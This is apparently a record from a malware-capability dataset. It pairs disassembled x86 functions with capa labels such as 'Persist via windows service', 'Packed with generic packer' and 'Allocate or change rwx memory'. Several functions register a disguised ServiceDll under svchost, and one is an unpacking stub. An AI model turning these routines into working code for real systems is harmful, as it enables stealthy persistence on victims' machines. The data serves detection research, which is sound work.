joyce8/EMBER2024-capa huggingface dataset:
Function at 0x8f9010
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x74e015
lea edi, [esi - 0x34d015]
push edi
or ebp, 0xffffffff
jmp 0x8f9032
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x8f9039
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8f9028
mov eax, 1
add ebx, ebx
jne 0x8f904b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x8f905c
jne 0x8f907b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8f907b
dec eax
add ebx, ebx
jne 0x8f9068
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x8f9040
add ebx, ebx
jne 0x8f9077
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x8f90cd
xor ecx, ecx
sub eax, 3
jb 0x8f9093
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x8f9102
sar eax, 1
mov ebp, eax
jmp 0x8f909e
add ebx, ebx
jne 0x8f909e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8f906c
inc ecx
add ebx, ebx
jne 0x8f90ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8f906c
add ebx, ebx
jne 0x8f90b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x8f90ae
jne 0x8f90ca
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x8f90ae
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x8f90ec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x8f90de
jmp 0x8f902e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x8f90ec
add edi, ecx
jmp 0x8f902e
pop esi
mov edi, esi
mov ecx, 0xcbaa
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x8f910a
cmp byte [edi], 0x28
jne 0x8f910a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x8f910f
lea edi, [esi + 0x4eb000]
mov eax, dword [edi]
or eax, eax
je 0x8f917e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x4f9000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x4f9028]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x8f913c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x4f9030]
or eax, eax
je 0x8f9178
mov dword [ebx], eax
add ebx, 4
jmp 0x8f9159
call dword [esi + 0x4f902c]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x8f91b8
cmp al, 0xef
ja 0x8f91a2
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x8f9184
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
or eax, eax
jne 0x8f9191
mov eax, dword [edi]
add edi, 4
jmp 0x8f9191
mov ebp, dword [esi + 0x4f9034]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x8f91ec
sub esp, 0xffffff80
jmp 0x45fda0
Function at 0x1000ba30
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
mov dword [0x10018c40], eax
jne 0x1000ba4b
pop ecx
ret
mov ecx, dword [esp + 8]
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
push 2
push 0x110
push 0xf01ff
push str.Byaorn_Irwsofeu_Jrundakq_Dghl
push str._msert_BwlptkfuIiq
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
mov dword [0x10018c3c], eax
jne 0x1000ba84
pop ecx
ret
mov edx, dword [0x10018c40]
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov ecx, dword [0x10018c3c]
mov esi, eax
lea eax, [esp + 4]
mov dword [esp + 4], str.Htes_ao_vsnnelno_Znnkrdz_Jwfdmkje_P
push eax
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
mov eax, 1
pop esi
pop ecx
ret

Function at 0x1000bac0
Capabilities:
Modify service

Disassembly:
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0xf003f
push str._msert_BwlptkfuIiq
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
xor eax, eax
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], eax
push esi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x15180
mov dword [esp + 0x28], 0x3e8
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], ebx
mov dword [esp + 0x34], 1
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
lea edx, [esp + 0xc]
push edx
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2c
ret
Function at 0x1000bd00
Capabilities:
Delete file
Get common file path
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str._msert_BwlptkfuIiq
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.1000bc20
add esp, 8
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x1c]
push str.SOFTWARE_d
push eax
call ebp
lea ecx, [esp + 0x88]
lea edx, [esp + 0x24]
push ecx
push edx
call fcn.1000bc80
add esp, 0x14
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push connect
mov dword [esp + 0x38], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push str._RqmbzdlDjn_p__EobnTJf
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push str._RqmbzdlDjn_p__EobnTJf
push 2
push ebx
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.1000bc20
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.1000bc80
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret
Function at 0x1000c1d0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x23c
mov ecx, 8
xor eax, eax
lea edx, [esp + 0x110]
push ebx
push esi
push edi
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x11c]
push 0x30
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x143]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str._msert_BwlptkfuIiq
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x120]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Parameters
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
call esi
add esp, 4
lea eax, [esp + 0xc]
lea ecx, [esp + 0x11c]
push eax
push 0xf003f
push 0
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000c29c
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x23c
ret
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x1c]
add esp, 4
rep stosd dword es:[edi], eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x18]
push edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push ecx
push 0
push str.ServiceDll
push edx
mov dword [esp + 0x28], 2
mov dword [esp + 0x2c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x18]
push str._RqmbzdlDjn_p__EobnTJf
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x23c
ret
Function at 0x1000c330
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x814
mov ecx, 0xd
lea eax, [esp]
push ebx
push ebp
push esi
push edi
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [esp + 0x1c]
rep movsd dword es:[edi], dword [esi]
push eax
push 0xf003f
lea ecx, [esp + 0x24]
push 0
push ecx
push connect
movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000c453
mov ecx, 0x1f3
lea edi, [esp + 0x55]
mov byte [esp + 0x54], al
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [esp + 0x54]
push edx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x18], 7
rep stosd dword es:[edi], eax
lea eax, [esp + 0x58]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.imgsvc
push edx
mov dword [esp + 0x30], 0x7d0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000c448
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edi, [esp + 0x54]
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebx, [esp + 0x54]
mov esi, ecx
test si, si
je 0x1000c453
cmp si, 1
je 0x1000c453
push str._msert_BwlptkfuIiq
push ebx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x1000c438
mov eax, esi
and eax, 0xffff
test si, si
lea ebx, [ebx + eax + 1]
lea ebp, [eax + ebp + 1]
je 0x1000c453
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x1000c3ed
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x814
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x814
ret
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x814
ret

Function at 0x1000c460
Capabilities:
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
call fcn.1000c1d0
test eax, eax
jne 0x1000c46e
call fcn.1000bd00
call fcn.1000c330
test eax, eax
jne 0x1000c47c
jmp fcn.1000bf00
ret
Function at 0x1000ca70
Capabilities:
Check for time delay via gettickcount
Copy file
Delete file
Query environment variable
Set file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x208
cmp eax, 1
push ebx
push esi
push edi
jne 0x1000cc08
push 0x37a
push str._msert_BwlptkfuIiq
call fcn.1000c6b0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov ebx, dword [esp + 0x224]
add esp, 0xc
push 0x104
push 0x10018c50
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 4
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x104
push eax
push str._RqmbzdlDjn_p__EobnTJf
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
push str._RqmbzdlDjn_p__EobnTJf
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x10018c50
mov edx, ecx
mov esi, edi
mov edi, str._RqmbzdlDjn_p__EobnTJf
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
jne 0x1000cb4d
mov dword [0x10018afc], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x10018aec], eax
call fcn.10006ca0
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
push str.Glable__Wait
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.10006220
push str._RqmbzdlDjn_p__EobnTJf
call fcn.1000b9a0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
push str._RqmbzdlDjn_p__EobnTJf
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0xb
mov esi, str._SystemRoot_System32_svchost.exe__k_imgsvc
lea edi, [esp + 0x110]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x36
lea edi, [esp + 0x13c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x110]
push eax
call fcn.1000ba30
add esp, 4
call fcn.1000bd00
call fcn.1000bf00
push 0x1000
push str._RqmbzdlDjn_p__EobnTJf
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push str._RqmbzdlDjn_p__EobnTJf
push 0x10018c50
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str._RqmbzdlDjn_p__EobnTJf
call fcn.1000c480
add esp, 4
call fcn.1000bb80
call fcn.1000bac0
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
Function at 0x1000c169
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov edx, dword [esp + 0xc]
push esi
mov esi, dword [esp + 0xc]
not edx
push edi
mov edi, dword [esp + 0xc]
test esi, esi
je 0x1000c195
movzx eax, byte [edi]
movzx ecx, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x100b8460]
inc edi
sub esi, 1
jne 0x1000c17d
not edx
pop edi
mov eax, edx
pop esi
ret

Function at 0x1000c19c
Capabilities:
Hash data with crc32

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0xc]
not ebx
push edi
mov edi, dword [esp + 0x14]
mov edx, ebx
test edi, edi
je 0x1000c202
mov al, byte [esi]
dec edi
inc esi
cmp al, 0x23
jne 0x1000c1ca
cmp edi, 2
jb 0x1000c1ca
cmp byte [esi], al
jne 0x1000c1ca
cmp byte [esi + 1], al
cmove edx, ebx
movzx ecx, dl
movzx eax, al
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x100b8460]
test edi, edi
jne 0x1000c1b3
jmp 0x1000c209
cmp al, 0x23
jne 0x1000c1f0
cmp byte [esi], al
jne 0x1000c1f0
cmp byte [esi + 1], al
cmove edx, ebx
movzx ecx, dl
movzx eax, al
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x100b8460]
mov al, byte [esi]
inc esi
test al, al
jne 0x1000c1e2
pop edi
not edx
pop esi
mov eax, edx
pop ebx
ret

Function at 0x1000cb50
Capabilities:
Read file on windows

Disassembly:
push dword [esp + 0x18]
push dword [esp + 0x14]
push dword [esp + 0x10]
push dword [esp + 0x10]
call fcn.10097702
add esp, 0x10
xor edx, edx
ret
Function at 0x1001744e
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100b5768
mov eax, dword fs:[0]
push eax
push esi
mov eax, dword [0x1010e440]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp dword [esi + 0x30], 0
je 0x10017482
push dword [esi + 0x30]
call fcn.10015e83
pop ecx
cmp dword [esi + 0x34], 0
je 0x10017491
push dword [esi + 0x34]
call fcn.10015e83
pop ecx
and dword [ebp - 4], 0
lea eax, [esi + 0x64]
push 0x10016c7a
push 2
push 0xc
push eax
call fcn.10090a06
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
leave
ret
Function at 0x1003f036
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x1c
push edi
mov edi, dword [esp + 0x24]
test byte [edi], 4
jne 0x1003f1f4
imul eax, dword [edi + 0x46c], 0x1c
lea ecx, [edi + 0x60]
push ebx
push ebp
push esi
mov dword [esp + 0x14], ecx
add eax, dword [edi + 0x50]
xor ebx, ebx
mov dword [esp + 0x18], eax
movzx ebp, word [eax]
movzx ecx, word [eax + 6]
mov esi, ebp
movzx eax, word [eax + 4]
add ecx, ebx
imul ecx, dword [edi + 0x24]
sub esi, ebx
mov edx, dword [edi + 0x1c]
shr esi, 1
sub ebp, esi
sub ebp, ebx
add ecx, eax
test edx, edx
je 0x1003f0cf
lea eax, [edx + ecx]
mov dword [esp + 0x10], eax
test esi, esi
je 0x1003f0a0
push esi
push 0
push eax
call fcn.10093b80
mov eax, dword [esp + 0x1c]
add esp, 0xc
test ebx, ebx
je 0x1003f0b5
push ebx
add eax, esi
push 0xff
push eax
call fcn.10093b80
add esp, 0xc
test ebp, ebp
je 0x1003f11a
mov eax, dword [esp + 0x10]
push ebp
add eax, esi
add eax, ebx
push 0
push eax
call fcn.10093b80
add esp, 0xc
jmp 0x1003f11a
mov eax, dword [edi + 0x20]
mov edx, esi
shl edx, 2
lea edi, [eax + ecx*4]
mov dword [esp + 0x10], edi
test esi, esi
je 0x1003f0f2
mov ecx, edx
mov eax, 0xffffff
shr ecx, 2
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x10]
test ebx, ebx
je 0x1003f0ff
add edi, edx
mov ecx, ebx
or eax, 0xffffffff
rep stosd dword es:[edi], eax
test ebp, ebp
je 0x1003f116
mov ecx, dword [esp + 0x10]
lea eax, [esi + ebx]
lea edi, [ecx + eax*4]
mov ecx, ebp
mov eax, 0xffffff
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x30]
mov ecx, dword [esp + 0x18]
movzx edx, word [ecx + 4]
movzx ecx, word [ecx + 6]
add ecx, ebx
lea eax, [ecx + 1]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x100bbf60]
lea eax, [edx - 1]
add eax, esi
cvtpd2ps xmm1, xmm0
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
shr ecx, 0x1f
addsd xmm0, qword [ecx*8 + 0x100bbf60]
cvtpd2ps xmm0, xmm0
addss xmm1, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
mulss xmm1, dword [edi + 0x30]
addsd xmm0, qword [eax*8 + 0x100bbf60]
lea eax, [edx + 1]
add eax, esi
mulss xmm1, dword [0x100bbdf8]
add eax, ebx
lea esi, [esp + 0x1c]
cvtpd2ps xmm0, xmm0
movss dword [esp + 0x20], xmm1
mulss xmm0, dword [edi + 0x2c]
movss dword [esp + 0x28], xmm1
movss dword [esp + 0x1c], xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
inc ebx
addsd xmm0, qword [eax*8 + 0x100bbf60]
mov eax, dword [esp + 0x14]
cvtpd2ps xmm0, xmm0
mulss xmm0, dword [edi + 0x2c]
mov edi, eax
add eax, 0x10
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x18]
movss dword [esp + 0x24], xmm0
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x30]
cmp ebx, 0x40
jb 0x1003f061
pop esi
pop ebp
pop ebx
pop edi
add esp, 0x1c
ret
Function at 0x1004e3ed
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push ebp
mov ebp, dword [esp + 0x10]
dec ebx
cmp ebp, ebx
jg 0x1004e459
push 0x1f
pop edx
mov ecx, ebx
and ecx, edx
push esi
mov dword [esp + 0x18], ecx
push edi
mov eax, ebp
mov edi, ebp
or eax, edx
sar edi, 5
cmp ebx, eax
push 0x1f
cmovg ecx, edx
xor esi, esi
inc ecx
xor eax, eax
bts esi, ecx
cmp ecx, 0x20
mov ecx, ebp
cmovae eax, esi
and ecx, edx
xor esi, eax
xor edx, edx
bts edx, ecx
xor eax, eax
dec esi
cmp ecx, 0x20
mov ecx, dword [esp + 0x20]
cmovae eax, edx
add ebp, 0x20
xor edx, eax
and ebp, 0xffffffe0
mov eax, dword [esp + 0x18]
neg edx
and esi, edx
pop edx
or dword [eax + edi*4], esi
cmp ebp, ebx
jle 0x1004e409
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x1006ecf8
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
mov esi, ecx
lea edi, [ebp - 0x24]
push 9
pop ecx
xor eax, eax
xor ebx, ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x24]
mov dword [esi], ebx
push eax
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp + 8]
div ecx
push 0x40
sub ecx, edx
add ecx, dword [ebp + 8]
test edx, edx
push 0x3000
cmove ecx, dword [ebp + 8]
push ecx
push ebx
mov dword [esi + 4], ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esi], eax
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x1006f449
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x1010e440]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x108]
push edi
mov edi, 0x104
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.d3d9.dll
lea eax, [ebp - 0x108]
push edi
push eax
call fcn.100a4af1
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, eax
lea ecx, [edx + esi]
cmp edx, ecx
jae 0x1006f4c2
mov ecx, 0x8689
inc edx
mov eax, 0x6c7
cmp word [edx], ax
jne 0x1006f4bb
cmp word [edx + 6], cx
jne 0x1006f4bb
cmp word [edx + 0xc], cx
je 0x1006f4d5
lea eax, [esi + edx]
cmp edx, eax
jb 0x1006f4a4
inc edx
mov ecx, dword [ebp - 4]
mov eax, edx
pop edi
xor ecx, ebp
pop esi
call fcn.10090b29
leave
ret 4
add edx, 2
jmp 0x1006f4c3
Function at 0x100773ac
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x18
push ebx
mov ebx, dword [esp + 0x24]
mov eax, 0x58bf
push ebp
push esi
mov esi, dword [esp + 0x28]
xor ebp, ebp
mov dword [esp + 0x14], ecx
mov dword [esp + 0x20], ebp
mov dword [esp + 0x18], 0xce6dd971
mov word [esp + 0x1c], ax
push edi
test esi, esi
je 0x100773df
test ebx, ebx
jne 0x100773f3
push 0x44
push str.D:InfoSAMP_API_mainSAMP_API_ONE_HEADERSAMPRakNetDataBlockEncryptor.cpp
push str.input__inputLength
call fcn.100a5282
add esp, 0xc
call fcn.100875ba
lea ecx, [ebx + 5]
mov byte [esp + 0x2c], al
and cl, 0xf
mov bl, 0xf
sub bl, cl
call fcn.100875ba
mov edx, dword [esp + 0x38]
mov edi, dword [esp + 0x34]
shl al, 4
or al, bl
mov dword [esp + 0x14], eax
movzx eax, bl
mov ebx, dword [esp + 0x30]
mov dword [esp + 0x10], eax
push ebx
push esi
lea ecx, [ebx + 6]
add ecx, eax
add eax, 6
add eax, edi
mov dword [edx], ecx
push eax
cmp esi, edi
jne 0x10077441
call fcn.10093600
jmp 0x10077446
call fcn.10093600
mov eax, dword [esp + 0x20]
add esp, 0xc
mov cl, byte [esp + 0x2c]
mov esi, ebp
mov byte [edi + 5], al
mov eax, dword [esp + 0x10]
mov byte [edi + 4], cl
test eax, eax
je 0x10077479
mov ebx, eax
call fcn.100875ba
mov byte [edi + esi + 6], al
inc esi
cmp esi, ebx
jb 0x10077463
mov ebx, dword [esp + 0x30]
mov eax, dword [esp + 0x10]
add ebx, 2
lea ecx, [esp + 0x1c]
add eax, ebx
push eax
lea eax, [edi + 4]
push eax
call fcn.100765eb
mov ebx, dword [esp + 0x18]
mov eax, dword [esp + 0x24]
push edi
push 0x10
push edi
mov dword [edi], eax
lea eax, [ebx + 0x240]
push ebx
push eax
call fcn.1008c8cc
mov eax, dword [esp + 0x4c]
add esp, 0x14
mov esi, dword [eax]
sub esi, 0x10
